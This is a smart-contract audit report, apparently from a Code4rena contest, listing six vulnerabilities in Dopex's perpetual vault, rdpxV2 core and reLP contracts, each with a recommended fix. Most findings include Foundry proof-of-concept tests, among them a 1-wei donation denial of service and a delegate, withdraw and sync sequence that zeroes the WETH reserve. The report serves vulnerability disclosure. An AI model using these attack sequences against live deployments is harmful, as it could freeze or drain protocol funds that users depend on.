Dopex - ubermensch's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361

Vulnerability details

Impact

An attacker can exploit the subtractLoss function to cause a denial of service, preventing the core contract from executing the settling any option. This could potentially lead to a depeg in the DPXETH token, severely affecting the integrity and functionality of the system.

Proof of Concept

The subtractLoss function contains a hard check that ensures the balance of the contract is equal to the previous value minus the amount to be subtracted from the total collateral. By sending a small amount, such as 1 Wei of WETH to the contract, an attacker can cause this check to fail.

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

PoC:

function testDenialOfServiceSettle() public {
    address attacker = address(0x111);
    weth.mint(attacker, 1);
    vm.prank(attacker);
    weth.transfer(address(vaultLp),1);

    weth.mint(address(1), 1 ether);
    deposit(1 ether, address(1));

    vault.purchase(1 ether, address(this));

    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;

    priceOracle.updateRdpxPrice(0.010 gwei); // ITM
    vm.expectRevert("Not enough collateral was sent out");
    vault.settle(ids);
}

function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(_amount, address(1));
    vm.stopPrank();
}

Note: The PoC is using the perp-vault setup.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

Remove the hard check that compares the contract's balance with the _totalCollateral - loss. Instead, consider implementing a more flexible check such as requiring the balance to be greater or equal to _totalCollateral - loss.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

Vulnerability details

Impact

The previewDeposit function, which calculates shares based on assets and the current value of the collateral, can potentially mint more shares than appropriate. This is because the updateFunding function, which updates the totalCollateral value, is not called prior to previewDeposit. As a result, a new depositor could receive not only their rightful share but also an additional portion of the funds collected by other liquidity providers (LPs). This can lead to an unfair distribution of shares and potential financial loss for existing LPs.

Proof of Concept

The deposit function calls previewDeposit to determine the number of shares to mint:

function deposit(
    uint256 assets,
    address receiver
) public virtual returns (uint256 shares) {
    ...
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
    ...
}

However, the updateFunding function, which adjusts the totalCollateral value, is called after previewDeposit:

perpetualAtlanticVault.updateFunding();

This sequence of calls means that when previewDeposit calculates the shares, it does so based on an outdated value of the collateral. Consequently, depositors can receive an inflated number of shares.

Tools Used

Manual Review

Recommended Mitigation Steps

Reorder the function calls in the deposit function to ensure that updateFunding is called before previewDeposit. This will ensure that shares are calculated based on the most recent collateral value.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L941-L968 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Vulnerability details

Impact

An attacker can exploit the system to artificially inflate the totalWethDelegated value, leading to the reserveAsset balance of WETH being set to zero. This can severely disrupt the contract's operations (lowerDepeg, provideFunding, ...) that subtract from this value since it will always fail due to an underflow error.

Proof of Concept

The addToDelegate function correctly updates the totalWethDelegated variable when WETH is deposited:

function addToDelegate(
    uint256 _amount,
    uint256 _fee
) external returns (uint256) {
    ...
    totalWethDelegated += _amount;
    ...
}

However, the withdraw function does not decrement the totalWethDelegated variable when WETH is withdrawn:

function withdraw(
    uint256 delegateId
) external returns (uint256 amountWithdrawn) {
    ...
    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    ...
    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
    ...
}

This oversight can be exploited in combination with the sync function:

function sync() external {
    ...
    if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
    }
    ...
}

An attacker can use a flashloan to borrow the balance of the contract, then call addToDelegate, depositing the same balance of WETH into the contract, then immediately withdraw the full amount and call the sync function. This sequence of actions will set the reserveAsset balance of WETH to zero since the totalWethDelegated is still artificially inflated with the previously deposited amount.

POC:

function testAttackDelegate() public {
    address attacker = address(0x999);
    weth.mint(address(rdpxV2Core), 10 ether);
    rdpxV2Core.sync();
    weth.mint(attacker, weth.balanceOf(address(rdpxV2Core)));
    vm.startPrank(attacker);
    weth.approve(address(rdpxV2Core), weth.balanceOf(address(rdpxV2Core)));
    uint256 delegateId = rdpxV2Core.addToDelegate(weth.balanceOf(address(rdpxV2Core)), 1e8);
    rdpxV2Core.withdraw(delegateId);
    rdpxV2Core.sync();
    vm.stopPrank();
    (, uint tokenBalance, ) = rdpxV2Core.reserveAsset(rdpxV2Core.reservesIndex("WETH"));
    assertEq(tokenBalance, 0);
}

Note: The PoC uses the rdpxV2-core setup.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

Update the withdraw function to decrement the totalWethDelegated variable by the amount withdrawn.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L273-L275

Vulnerability details

Impact

The formula used to calculate the minimum amount of tokenA (in this case, rdpx) to be received during a swap from weth to rdpx is incorrect as it multiplies by the RDPX price to go from WETH to RDPX. This can lead to the calculation of a wrong min amount which can either cause the swap to always fail if it's too high, or expose the contract to MEV.

Proof of Concept

The current formula for calculating mintokenAAmount is:

mintokenAAmount = (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) - (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16);

However, based on the provided correct formula, it should be:

mintokenAAmount = (((amountB / 2) * 1e8 ) / tokenAInfo.tokenAPrice);

When converting gtom WETH to RDPX we need to divide by the price instead of multiplying by it.

Tools Used

Manual Review

Recommended Mitigation Steps

Update the formula for mintokenAAmount to the correct version provided.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L286-L307

Vulnerability details

Impact

The addLiquidity function in the provided contract returns dust tokens, specifically WETH, which are not handled or transferred anywhere within the contract. Over time, with repeated calls to the reLP function, this can accumulate and result in a significant amount of WETH being locked in the contract, inaccessible to users or the contract's administrators.

Proof of Concept

The reLP function calls the addLiquidity function from the IUniswapV2Router:

(, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      tokenAAmountOut,
      amountB / 2,
      0,
      0, 
      address(this),
      block.timestamp + 10
    );

Theoretically, since we divided the eth amount and swapped the half to rdpx, the added amount should have the same value. Therefore, when adding liquidity it should not return any dust. However, the contract can still return dust due to the fee amount taken on swap. While the function returns LP tokens, it also leaves behind dust tokens, specifically WETH, in the contract. However, there's no subsequent code that handles or transfers this dust WETH out of the contract. Over multiple calls to reLP, this dust can accumulate.

PoC:

  function testReLpContract() public {
    testV2Amo();

    // set address in reLP contract and grant role
    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    reLpContract.setreLpFactor(9e4);

    // add liquidity
    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
    uniV2LiquidityAMO.approveContractToSpend(
      address(pair),
      address(reLpContract),
      type(uint256).max
    );

    rdpxV2Core.setIsreLP(true);

    rdpxV2Core.bond(1 * 1e18, 0, address(this));
    uint256 lpBalance2 = pair.balanceOf(address(uniV2LiquidityAMO));
    uint256 rdpxBalance2 = rdpx.balanceOf(address(rdpxV2Core));

    uint256 reLpRdpxBalance = rdpx.balanceOf(address(reLpContract));
    uint256 reLpLpBalance = pair.balanceOf(address(reLpContract));

    assertEq(lpBalance2, 1422170988183415261);
    assertEq(rdpxBalance2, 53886041379169834724);
    assertEq(reLpRdpxBalance, 0);
    assertEq(reLpLpBalance, 0);
    console.log("WETH left balance %s:", weth.balanceOf(address(reLpContract)));
    assertEq(weth.balanceOf(address(reLpContract)), 1022407518327480);

Note: This PoC can be executed directly in the Periphery.t.sol inside the rdpxV2-core folder.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

Implement a mechanism to handle and transfer the dust WETH out of the contract.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L372-L396 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L405-L459

Vulnerability details

Impact

If an option is purchased and settled within the same epoch, the totalActiveOptions will become desynchronized with fundingPaymentsAccountedFor[latestFundingPaymentPointer]. This desynchronization will lead to the payFunding function and potentially calculateFunding reverting and preventing the epoch from being funded until the next epoch. As a result, the affected epoch will be skipped, and funding will only resume in the subsequent epoch.

Proof of Concept

The payFunding function contains a validation check that ensures totalActiveOptions is equal to fundingPaymentsAccountedFor[latestFundingPaymentPointer]:

function payFunding() external onlyRole(RDPXV2CORE_ROLE) returns (uint256) {
    ...
    _validate(
      totalActiveOptions ==
        fundingPaymentsAccountedFor[latestFundingPaymentPointer],
      6
    );
    ...
}

However, if an option is both purchased and settled within the same epoch, this validation will fail, causing the function to revert. This means the epoch will not be funded, and the core will wait until the next epoch to attempt funding again, effectively skipping the affected epoch.

PoC:

  function testPreventFunding() public {
    vault.addToContractWhitelist(address(rdpxV2Core));
    rdpxV2Core.bond(10 * 1e18, 0, address(1));
    rdpxV2Core.bond(10 * 1e18, 0, address(2));
    
    // update rdpx to (.312 eth)
    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);
    skip(86400 * 7);
    rdpxV2Core.bond(5 * 1e18, 0, address(3));

    // decrease price of rdpx (0.2weth)
    rdpxPriceOracle.updateRdpxPrice(2 * 1e7);

    uint[] memory ids = new uint[](1);
    ids[0] = 2;
    rdpxV2Core.settle(ids);

    // // calculate funding
    uint256[] memory strikes = new uint256[](1);
    strikes[0] = 15e6;
    vault.calculateFunding(strikes);

    uint256 funding0 = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );

    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding0);
    rdpxV2Core.sync();
    // the provideFunding call will fail with a PerpetualAtlanticVaultError 6
    // which is "All funding payments must be accounted for"
    vm.expectRevert(
      abi.encodeWithSelector(
        PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector,
        6
      )
    );
    rdpxV2Core.provideFunding();

    skip(86400 * 7);

    // calculate funding
    strikes = new uint256[](1);
    strikes[0] = 15e6;
    vault.calculateFunding(strikes);

    uint funding1 = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );
    
    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding1);
    rdpxV2Core.sync();
    // the call will only succeed in the next epoch
    rdpxV2Core.provideFunding();
  }

Note: The PoC is using the setup of the rdpxV2-core.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

It is recommended to accumulate unfunded epochs instead of skipping them. Also, adapt the check between totalActiveOptions and fundingPaymentsAccountedFor[latestFundingPaymentPointer] to handle the case of options that are purchased and settled in the same epoch.

Assessed type

Other